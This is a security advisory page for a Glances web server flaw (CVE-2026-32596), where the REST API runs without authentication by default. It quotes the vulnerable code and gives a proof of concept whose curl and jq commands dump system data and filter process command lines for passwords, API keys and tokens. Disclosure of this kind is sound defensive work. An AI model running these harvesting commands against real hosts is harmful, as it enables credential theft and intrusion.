Python
CVE-2026-32596
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File:
glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None
# NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix)
# NO AUTH DEPENDENCY- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0"
# BINDS TO ALL INTERFACES
self.port = args.port or 61208- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline',
# FULL COMMAND LINE EXPOSED, NO SANITIZATION
]PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
AnalysisAI
Glances web server exposes its REST API without authentication by default when started with the -w flag, allowing unauthenticated remote attackers to access sensitive system information including process details that may contain credentials such as passwords and API keys. The vulnerability affects Python and Docker deployments where Glances is exposed to untrusted networks due to the server binding to 0.0.0.0 with authentication disabled by default. A patch is available to address this configuration vulnerability.
Technical ContextAI
Information disclosure occurs when an application inadvertently reveals sensitive data to unauthorized actors through error messages, logs, or improper access controls. This vulnerability is classified as Information Exposure (CWE-200).
RemediationAI
A vendor patch is available — apply it immediately. Implement proper access controls. Sanitize error messages in production. Review logging practices to avoid capturing sensitive data.
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Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
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External POC / Exploit Code
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GHSA-wvxv-4j8q-4wjq